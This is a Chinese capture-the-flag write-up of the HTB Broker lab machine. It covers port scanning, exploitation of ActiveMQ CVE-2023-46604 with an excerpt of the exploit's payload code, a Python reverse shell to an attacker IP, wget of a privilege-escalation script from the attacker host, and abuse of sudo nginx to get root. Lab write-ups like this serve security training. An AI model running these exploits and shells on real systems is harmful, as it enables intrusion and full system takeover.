HTB Broker 渗透测试详细记录
摘要
本文详细记录了针对 HTB Broker 靶机的完整渗透测试过程。从基础端口扫描开始,通过发现 Apache ActiveMQ 服务存在 CVE-2023-46604 远程代码执行漏洞,成功获得初始立足点。随后利用 nginx 配置权限提升漏洞,最终获得 root 权限。整个攻击链路清晰,展现了从信息收集到权限提升的完整操作流程。
关键技术
- CVE-2023-46604 (Apache ActiveMQ RCE)
- nginx sudo 配置错误导致的提权
1. 初始侦察阶段
1.1 快速端口扫描
首先使用 Nmap 进行快速全端口扫描,以识别所有开放端口:
nmap -sT -min-rate 10000 -p- 10.10.11.243
参数解释:
-sT
: TCP Connect 扫描,完成完整的 TCP 三次握手-min-rate 10000
: 设置最小发包速率为 10000 包/秒,加快扫描速度-p-
: 扫描全部 65535 个端口10.10.11.243
: 目标 IP 地址
扫描结果:
22/tcp open ssh
53/tcp open domain
80/tcp open http
8161/tcp open patrol-snmp
61616/tcp open unknown
发现 5 个开放端口,其中 61616 端口服务未知,需要进一步探测。
2. 服务探测与信息收集
2.1 深度服务识别
对发现的开放端口进行深度扫描,识别具体服务版本:
nmap -sT -sC -sV -p22,80,8161,61616 10.10.11.243
参数解释:
-sT
: TCP Connect 扫描-sC
: 运行默认脚本扫描,执行常见的枚举脚本-sV
: 服务版本探测-p22,80,8161,61616
: 指定扫描端口
详细扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
8161/tcp open http Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2.2 关键发现
- SSH 服务 (22/tcp): OpenSSH 8.9p1,版本较新
- HTTP 服务 (80/tcp): nginx 1.18.0,存在 401 认证要求,认证域为 "ActiveMQRealm"
- 管理面板 (8161/tcp): Jetty 服务器,同样需要 ActiveMQRealm 认证
- ActiveMQ 服务 (61616/tcp): Apache ActiveMQ OpenWire transport 5.15.15
关键发现:ActiveMQ 5.15.15 版本存在已知的远程代码执行漏洞。
3. 漏洞识别与初始访问
3.1 漏洞确认
通过版本信息识别到 Apache ActiveMQ 5.15.15 存在 CVE-2023-46604 远程代码执行漏洞。该漏洞允许未认证的攻击者通过操纵序列化的类类型,导致代理加载任意类,从而实现远程代码执行。
3.2 漏洞利用准备
获取漏洞利用脚本:
git clone https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell
3.3 漏洞利用代码分析
该exploit的核心代码实现了以下功能:
def execute(ip, port, srvip, srvport, command, url):
class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
message = url
header = "1f00000000000000000001"
body = header + "01" + int2hex(len(class_name), 4) + string2hex(class_name) + "01" + int2hex(len(message), 4) + string2hex(message)
payload = int2hex(len(body) // 2, 8) + body
data = bytes.fromhex(payload)
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((ip, port))
conn.send(data)
conn.close()
通过构造恶意的序列化数据,触发 ActiveMQ 加载远程 XML 配置文件,从而执行任意命令。
3.4 执行漏洞利用
启动攻击脚本:
python3 exploit.py -i 10.10.11.243 -p 61616 -si 10.10.16.11 -sp 8080
参数解释:
-i 10.10.11.243
: 目标 ActiveMQ 服务器 IP-p 61616
: ActiveMQ OpenWire 端口-si 10.10.16.11
: 攻击者 IP(用于接收回连)-sp 8080
: 本地 HTTP 服务端口(托管恶意 XML)
执行输出:
#################################################################################
# CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell #
# Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d #
#################################################################################
[*] Target: 10.10.11.243:61616
[*] Serving XML at: http://10.10.16.11:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit
#################################################################################
# Not yet connected, send a command to test connection to host. #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you #
# want to re-check the connection. #
#################################################################################
[Target not responding!]$ whoami
activemq
Apache ActiveMQ$ cat /home/activemq/user.txt
1329219fea51ab6eb6643b071813d35e
成功获得 user flag: 1329219fea51ab6eb6643b071813d35e
3.5 获取交互式 Shell
- 本地监听器设置:
nc -lnvp 9002
参数解释:
-l
: 监听模式-n
: 不进行 DNS 解析-v
: 详细输出-p 9002
: 监听端口 9002
- 目标机执行反弹 shell:
/usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.11",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
- Shell 升级: 获得连接后,升级为完整的 bash shell:
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
这里有一个坑点,如果使用bash之类的反弹shell,会直接导致反弹shell直接卡死,根据经验,如果目标机器有python的话,尽量使用python进行反弹shell,避免不必要的时间浪费。
4. 横向移动
在本次渗透测试中,由于目标系统相对简单,没有涉及横向移动。直接进入权限提升阶段。
5. 权限提升前的信息收集
5.1 sudo 权限枚举
检查当前用户的 sudo 权限:
activemq@broker:~$ sudo -l
输出结果:
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
6. 权限提升
6.1 nginx sudo 提权漏洞利用
发现 nginx 可以以 root 权限运行,这是一个典型的配置错误。使用专门的提权脚本:
https://github.com/DylanGrl/nginx_sudo_privesc
- 下载提权脚本: 在攻击机上设置 HTTP 服务器:
python3 -m http.server 8888
- 在目标机上下载这个sh脚本,并在 /home/activemq 目录执行:
cd /home/activemq
wget http://10.10.16.11:8888/exploit.sh
chmod 777 exploit.sh
./exploit.sh
这里要注意,由于脚本写的健壮性不佳,所以如果在别的目录执行,会导致无法提权
6.2 SSH 密钥提取
提权脚本执行后会生成可用于 SSH 连接的 root 私钥。将输出的私钥保存为 id_rsa
文件。
6.3 获取 root 权限
- 设置密钥权限:
chmod 600 id_rsa
- SSH 连接获取 root:
ssh -i id_rsa root@10.10.11.243
成功获得 root 权限,读取 root flag。
7. 总结
完整攻击链路图
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐ ┌──────────────┐
│ Nmap 扫描 │ --> │ 发现 ActiveMQ │ --> │ CVE-2023-46604 │ --> │ 获得 Shell │
│ 端口识别 │ │ 5.15.15 版本 │ │ RCE 漏洞利用 │ │ (activemq) │
└─────────────────┘ └──────────────────┘ └─────────────────┘ └──────────────┘
│
▼
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐ ┌──────────────┐
│ Root 权限 │ <-- │ SSH 密钥登录 │ <-- │ nginx sudo │ <-- │ sudo -l │
│ 获取成功 │ │ root@broker │ │ 提权漏洞利用 │ │ 权限枚举 │
└─────────────────┘ └──────────────────┘ └─────────────────┘ └──────────────┘
各阶段关键点总结
- 信息收集阶段:通过 Nmap 扫描发现 ActiveMQ 服务运行在非标准端口 61616
- 漏洞识别阶段:版本识别确认 ActiveMQ 5.15.15 存在 CVE-2023-46604 RCE 漏洞
- 初始访问阶段:利用 RCE 漏洞获得 activemq 用户权限
- 权限提升阶段:发现 nginx sudo 配置错误,利用公开脚本成功提权至 root
攻击向量简明展示
- 入口点: Apache ActiveMQ 5.15.15 (CVE-2023-46604)
- 初始权限: activemq 用户
- 提权方式: nginx sudo NOPASSWD 配置错误
- 最终权限: root
结束语
本次打靶练习展现了一个典型的漏洞利用链条:从公开漏洞获得初始访问,到利用配置错误实现提权。
Comments NOTHING